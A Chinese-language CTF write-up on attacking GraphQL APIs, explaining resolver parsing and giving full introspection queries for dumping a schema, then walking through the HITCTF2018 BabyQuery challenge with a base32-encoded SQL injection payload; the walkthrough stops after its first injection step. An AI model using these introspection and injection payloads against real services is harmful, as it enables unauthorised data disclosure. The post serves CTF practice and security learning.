当CTF遇上GraphQL的那些事
0x 01 前言
在之前的VolgaCTF 2020考到了GraphQL知识点,GraphQL在CTF比赛中虽然遇到的不多,但偶尔也会碰到,在碰到GraphQL的题目时候该如何解决呢?于是就有了这一篇文章。
0x 02 认识GraphQL
那么什么是GraphQL呢?GraphQL是由Facebook创造并开源的一种用于API的查询语言。看到QL这样的字眼,很容易产生误解,以为是新的数据库查询语言,但其实GraphQL和数据库没有什么太大关系,GraphQL并不直接操作查询数据库,可以理解为传统的后端代码与数据库之间又多加了一层,这一层就是GraphQL。
想快速入门GraphQL的相关用法可以参考这一篇文章30分钟理解GraphQL核心概念
我们这里重点关注一下Resolver(解析函数)的工作流程,假设我们定义了以下的查询语句:
1 | Query { |
GraphQL在解析这段查询语句时会按如下步骤进行解析:
- 首先进行第一层解析,当前
Query
的Root Query
类型是query
,同时需要它的名字是articles
- 之后会尝试使用
articles
的Resolver
获取解析数据,第一层解析完毕 - 之后对第一层解析的返回值,进行第二层解析,当前
articles
还包含三个子Query
,分别是id
、author
和comments
- id在Author类型中为标量类型,解析结束
- author在Author类型中为对象类型User,尝试使用
User
的Resolver
获取数据,当前field解析完毕 - 之后对第二层解析的返回值,进行第三层解析,当前
author
还包含一个Query
,name
,由于它是标量类型,解析结束 - comments同上…
总结来说,GraphQL大体的解析流程就是遇到一个Query之后,尝试使用它的Resolver取值,之后再对返回值进行解析,这个过程是递归的,直到所解析Field的类型是Scalar Type(标量类型)
为止。解析的整个过程我们可以把它想象成一个很长的Resolver Chain(解析链)。GraphQL大体的解析流程很像是遍历树结构,那么他的返回值也是类树结构展示的。
对于发送数据我们可以使用postman或者GraphiQL,相对于burp suit,数据结构会更加直观一些。
0x 03 常用payload
在对GraphQL测试之前我们要知道只有代码里写了接口,定义了相应的schema,才能通过GraphQL查询出对应结果,所以并不是通过GraphQL就能查询获取数据库中的所有数据。
由于GraphQL自带强大的内省自检机制,可以直接获取后端定义的所有接口信息,常常存在信息泄露问题。那么我们可以通过__schema
查询所有可用对象。
1 | { |
通过__type
查询指定对象的所有字段:
1 | { |
但是有时目标网站可能存在几十个对象,一个一个查找出具体的字段显示是太麻烦了,那么通过这两个payload可以获取所有对象和字段
payload1:
1 | query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}} |
payload2:
1 | query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description args{...InputValue}onOperation onFragment onField}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name}}}} |
具体原理是通过IntrospectionQuery,返回包含足够多的信息的结果。
另外这篇文章里面*[GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL Injection)*也提供了一些payload可供使用
- 常用工具:
https://github.com/swisskyrepo/GraphQLmap
0x 04 例题分析:
这里以HITCTF2018 BabyQuery为例,题目的复现环境可以在github上找到:HITCTF2018 BabyQuery
题目打开有一个点击查询成绩的按钮,点击会弹窗显示成绩,右键源代码可以发现一段js
1 | $(document).ready(function(){ |
根据graphql可知后端使用了graphql查询api,我们使用上文中的payload,查看schema发现Query 操作有两个field: getscorebyyourname和getscorebyid 参数分别是name和id, 通过手工测试发现id参数经过base32编码且仅能是1位数, 而name参数存在SQL注入,那么可以构造payload如下:
1 | query= |
name参数的值用我们构造SQL注入语句的经过base32编码后的结果替换。
首先是
1 | 1' union select sqlite_version()-- |
参考资料:
https://cloud.tencent.com/developer/article/1528799
https://segmentfault.com/a/1190000014131950
https://blog.csdn.net/qq_41882147/article/details/82966783